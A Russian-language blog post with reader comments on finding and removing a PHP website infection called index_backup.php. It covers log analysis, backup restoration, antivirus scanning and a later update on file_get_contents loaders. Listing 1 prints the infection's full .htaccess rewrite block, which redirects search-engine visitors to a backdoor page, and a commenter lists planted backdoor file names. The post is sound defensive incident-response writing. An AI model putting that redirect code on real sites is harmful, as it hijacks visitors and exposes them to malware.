Описание вируса
Вирус index_backup.php модифицирует или создает (при отсутствии) файл .htaccess, а также файл index_backup.php, на который собственно и идет переадресация из файла .htaccess во всех папках сайта содержащих файл index.php. Как правило, вирус заражает все сайты на аккаунте, а также может раскидать в разные папки по сайтам на площадке (в пределах аккаунта) .php файлы — бэкдоры для последующего использования. Вирус может заразить любые CMS, в моем случае вирус затронул WordPress, Joomla, Bitrix, Drupal и самописную CMS.
Быстрое удаление вируса index_backup.php
После удаления из корневого файла «левого» редиректа, обязательно заходим в инструменты вебмастера и заказываем перепроверку сайта, если вам повезет — то в течении несколько часов, редко минут надпись вида «сайт может угрожать безопасности вашего компьютера» исчезнет, если нет (поисковые роботы слишком заняты) — ожидание перепроверки может продлится несколько дней.
Важно понимать, что мы только позаботились о трафике, но при этом не удалили вирус полностью. Т.е если у вас, например, стоит WordPress то следы вируса еще будут в нескольких местах, но как правило это не индексируемые ПС страницы, и следовательно наличие следов вируса не так критично.
Код вставлямый вирусом в .htaccess файл, листинг 1:
1 2 3 4 5 6 7 |
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !/index_backup.php RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] </IfModule> |
Код index_backup.php файла приводить не буду, не вижу смысла, тем более он закодирован base64.
Поиск вируса на сайте, и путей его проникновения
В моем случае мне достался сайт уже с вирусом и я, по незнанию, имел неосторожность разместить его с десятками других сайтов на аккаунте. В один прекрасный день, я получил уведомление от Яндекса о том что все мои сайты содержат вредоносный код. 4 из нескольких десятков сайтов на площадке выводились в поиске Яндекса с предупреждением «На сайте обнаружен потенциально опасный код». Заражены были все сайты на площадке, но Яндекс определил только 4 самых посещаемых. Гугл, при этом, определил только 1 из зараженных (думаю, это связано с преимущественным трафиком из яндекса на мои сайты). Итак, вирус активизировался, значит у нас есть точное время использования дыры безопасности сайта — время изменения-создания файла.
Поиск вируса на основе его активности
Скачиваем логи доступа к сайту, или запрашиваем их в службе поддержки хостинга. Нас интересуют логи ftp подключений к сайтам хостинговой площадки, и http-access логи (много весят, особенно если сайт посещаемый и если на вашем аккаунте размещено много сайтов).
- На основании информации создания файлов index_backup.php или изменения-создания файла .htaccess, смотрим дату и время создания, с точностью до минуты
- Смотрим весь фтп лог, в моем случае он всего несколько десятков строк — коннекты с левых ip не обнаружены, ни в день активности вируса ни ранее, т.е такой способ проникновения, как кража фтп пароля отпадает, дополнительное подтверждение этому — отсутствие подобных проблем на других хостинговых площадках в том числе данного хостинга (при краже пароля через троян на компьютере пользователя, с высокой вероятностью пострадали бы все площадки)
- Смотрим http лог — данные переданные методом POST, на основании времени создания (которое определили ранее) сужаем временной диапазон поиска до 1 минуты. Нас интересуют обращения к нестандартным именам файлов CMS сайта, вот пример найденного использовани из лога (дата, ip адрес злоумышленника, названия сайта, путь к вирусу изменены):
1[...][04/Jul/2013:12:09:47 +0400] 0.009 0.568 200 111.111.111.111 site.ru POST /wp-content/plugins/contact-form-7/includes/gns09z.php HTTP/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1;
1/wp-content/plugins/contact-form-7/includes/gns09z.php
Поиск вируса php утилитами, антивирусами
Для CMS cуществуют разные плагины поиска вирусов на сайте и проверки безопасности, также существуют универсальные php скрипты, суть которых — сканирование дерева сайта, на предмет выявления подозрительных файлов имеющие нехарактерные для вашей CMS названия, шифрованных файлов, файлов содержащих известные вирусные сигнатуры, но имхо, эти действия нужно совершать, когда нет вирусной активности, но вы знаете, что вирусы или дыры присутствуют.
Удаление php вируса с сайта
Вариант полного восстановления из резервной копии не рассматриваю — у многих даже за сутки накапливается столько ценной информации на сайте, что терять — перезаливать ее не хочется. Самый простой, и наверное правильный способ удаления вируса с сайта (но не самый быстрый, зависит от качества хостинга и грамотности специалистов и их загрузки), при проведенном анализе, — это написать письмо в службу поддержки хостинга, что я и сделал. Содержание примерно следующее:
- Прошу удалить по всей площадке логин_площадки файлы index_backup.php, файлы .htaccess, и восстановить из резервной копии за указываем нужную дату файлы .htaccess
- Прилагаю архив файла с найденным вирусом с паролем 123, прошу на основе его сигнатуры проверить все файлы площадки (архивируем файл, чтобы антивирусы почтовых программ не вырезали или удалили файл, или попусту не дали отправить письмо)
Удаление вируса самостоятельно
Для это нужно фактически вручную проверить и отредактировать каждый файл .htaccess на предмет наличия в нем кода см. листинг 1 , если в нем только указанный код, файл .htaccess можно удалить, Удалить все файлы index_backup.php, и удалить найденные файлы .php backdoor (нет гарантии что вы выявили все уязвимости). Конечно процесс можно сильно упросить, и повысить вероятность удаления максимального количества уязвимостей сайта (если вы опытный пользователь), итак: скачайте к себе текущую копию файлов сайта на компьютер, и его резервную копию:
- Используя скачанную резервную копию извлекаем из нее только файлы .htaccess, c сохранением структуры дерева папок, и заливаем на хостинг, заменяя модифицированные вирусом.
- Используя антивирус (в частности бесплатный avast спокойно находит данный вирус) и текущую скачанную копию файлов, находим все вирусы и по аналогичным путям удаляем их с хостинга
- Используя ftp клиент(современные фтп клиенты умеют осуществлять поиск файлов на фтп сервере), делаем поиск файлов index_backup.php и удаляем их разом (все найденные файлы, в моем случае — более 200 штук).
также действия 1 и 3 можно выполнить прямо на сервере через ssh клиент, но как-то спокойнее работать с копией, и иметь копию на своем компьютере.
В заключение
Данный пост написан на основании моего личного опыта борьбы с вирусом, который я назвал index_backup.php (по названию генерируемого им файла). Если вам есть чем дополнить или есть вопросы связанные с темой поста — пишите в комментариях. Информация из данного поста поможет в борьбе не только с указанным вирусом но и с любым другим вирусом на сайте. Также вы должны понимать, что злоумышленник имея 1-бэкдор может залить через него десятки других с разными сигнатурами и принципами действия и, конечно, пользоваться ими не сразу после первичного размещения на сайте, а например, через полгода, когда логи и резервные копии будет уже не восстановить. Поэтому не ленитесь, делайте регулярно полные резервные копии ваших сайтов и скачивайте их себе на компьютер и храните годами. Тогда вы спокойно сможете сравнить, например, все .php файлы, которые были у вас ранее с теми что есть сейчас, и достаточно легко сможете обнаружить раскиданные злоумышленником вирусы-бакдоры, самое сложное найти их.
Если этот текст показался Вам интересным — делитесь ссылкой и лайкайте. Социальные кнопки вверху страницы:-)
сегодня, описанный в посте php вирус был замечен как вирус создающий файлы phpinfo.php вместо index_backup.php в остальном все тоже самое.
на основании его повторной вирусной активности было выявлено что вирус долбился на созданные и удаленные при первой активности файлы .php, и когда их не обнаружил 404 ошибка в логах, загрузил их снова, тем самым выдал новые свои виды вирусных файлов, которые уже не определяются антивирусом и имеют простой не шифрованный php+html код
поискав по содержимому .php файлов
по фразам что были в найденном вирусном файле: Message sent и $security_code и некоторые другие, было обнаружено несколько аналогичных загрузчиков, которые имеют старую дату создания и имена — замаскированные под папку(одноименные с названием папки в которой они лежат)
пример:
удаляем и их, даже интересно имеются ли еще загрузчики у этого вируса…
следующая вирусная активность вируса изменяющего .htaccess не заставила себя ждать, и выявила новый вид загрузчика вируса на сайт на этот раз через функцию php file_get_contents
и самое неприятное, то что обнаруженные загрузчики были встроены в реально существующие и рабочие файлы движки! с помощью следующего кода
вышеуказанный код позволяет злоумышленику загрузить на сайт что угодно и назвать как угодно, т.к нужное имя файла и откуда загружать передается в параметрах GET запроса.
ищем еще файлы с аналогичным кусками кода, также анализируем все .php файлы сайта имеющие функцию file_get_contents, т.к именно она загружает вирусный код, а параметры ее окружающие наш вредитель ) мог указать разные для усложнения выявления созданных им лазеек на сайт.. Удаляем из найденных файлов левый код
да..и меня постигла эта участь. Сижу теперь разгребаю из бэкапов
В моем случае было куча срани. Вывожу названия файлов
post.php
testosteron.php
mail.php
css.php
dir22.php
wp-login.php
admin.php
htaccess.php
file.php
mysql.php
backup.php
log.php
login.php
functions.php
gallery.php
stats.php
javascript.php
user.php
view.php
page.php
global.php
template.php
article.php
error.php
menu.php
utf19.php
start24.php
press.php
blog94.php
info.php
wp-login.php
f1.html
k1.html
help.htbl
suspected
footer.php
diff.php
press.php
ini.php
index.php
test.php
callback.php
list.php
syslib.php
dirs.php
files13.php
stopgloal.php
error15.php
title.php
xml.php
Огромное тебе СПАСИБО